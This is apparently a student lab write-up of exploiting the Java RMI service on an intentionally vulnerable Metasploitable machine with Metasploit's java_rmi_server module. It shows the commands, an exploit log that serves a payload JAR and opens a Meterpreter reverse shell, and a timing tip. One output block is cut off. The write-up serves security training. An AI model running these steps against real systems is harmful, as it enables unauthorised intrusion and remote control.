In this exercise, we targeted a vulnerability in the Java RMI service on a Metasploitable machine using Metasploit. Our goal was to exploit the service running on port 1099 from our Kali machine to gain a Meterpreter session. We then collected evidence of the network configuration and routing table from the victim machine to confirm our successful exploitation. This exercise helped us understand how to identify and leverage vulnerabilities in networked systems securely within a controlled environment.

The output from ifconfig on our Kali machine shows our IP as **192.168.11.111**, which we used as the LHOST for our reverse TCP connection in the exploit setup.

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
       inet6 fe80::a00:27ff:fead:2587 prefixlen 64 scopeid 0×20<link>
       inet6 2a01:e11:1407:3d10:a00:27ff:fead:2587 prefixlen 64 scopeid 0x0<global>
       ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
       RX packets 433 bytes 34162 (33.3 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0 TX packets 47 bytes 9498 (9.2 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0×10<host>
        loop txqueuelen 1000 (Local Loopback)
       RX packets 15 bytes 1264 (1.2 KiB)
       RX errors 0 dropped 0 overruns 0
        TX packets 15 bytes 1264 (1.2 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Running if config on the Metasploitable machine shows its IP as **192.168.11.112**, confirming the RHOST we targeted for the Java RMI service vulnerability.

```
msf6 > search java_rmi

Matching Modules

# Name

# Na
```

We began by searching Metasploit for a suitable module using **search java_rmi**. We identified and selected **exploit/multi/misc/java_rmi_server**, which is known to exploit RMI-based vulnerabilities by injecting a payload to gain control over the remote system.

After running use exploit/multi/misc/java_rmi_server, we set only the RHOSTS parameter to 192.168.11.112, as other necessary options were correctly configured by default. We ensured the settings were accurate and ready for execution, such as port 1099 being correctly configured.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444

[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/VWBVpg

[*] 192.168.11.112:1099 - Server started.

[*] 192.168.11.112:1099 - Sending RMI Header...

[*] 192.168.11.112:1099 - Sending RMI Call...

[*] 192.168.11.112:1099 - Replied to request for payload JAR

[*] Sending stage (57971 bytes) to 192.168.11.112

[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:53486) at 2024-11-15 06:56:02 -0500

meterpreter >
```

We launched the exploit, which successfully connected to the vulnerable Java RMI service, creating a Meterpreter session. This session indicates that the exploit was successful. The vulnerability used involves exploiting unsafe object deserialization in the RMI service, allowing remote code execution.

If you encounter an error during the exploit process, it could be due to timing issues. Adjusting the HTTPDELAY parameter to 20 can often resolve this. This increases the delay between the payload handler setup and the execution, ensuring stability.

Using ifconfig from the Meterpreter session, we confirmed that we had compromised the Metasploitable2 machine by verifying its IP address as 192.168.11.112, which matched our target.

Next, we executed the route command from the Meterpreter session, which displayed the routing table. This provided additional confirmation that we had successfully compromised the correct machine and had access to its network configuration.

Overall, this exercise demonstrated the effective use of Metasploit for exploiting network vulnerabilities, gaining access to a remote system, and collecting critical evidence to confirm success. It emphasized the importance of careful setup and testing in penetration testing and cybersecurity research. I would add that personally, reflecting on the various examples of remote control vulnerabilities we've encountered, it's increasingly evident why proper preliminary configuration of networks and related services is crucial in a cybersecurity context. Once these vulnerabilities are successfully exploited, detecting an intruder who has already gained access to the system becomes incredibly difficult.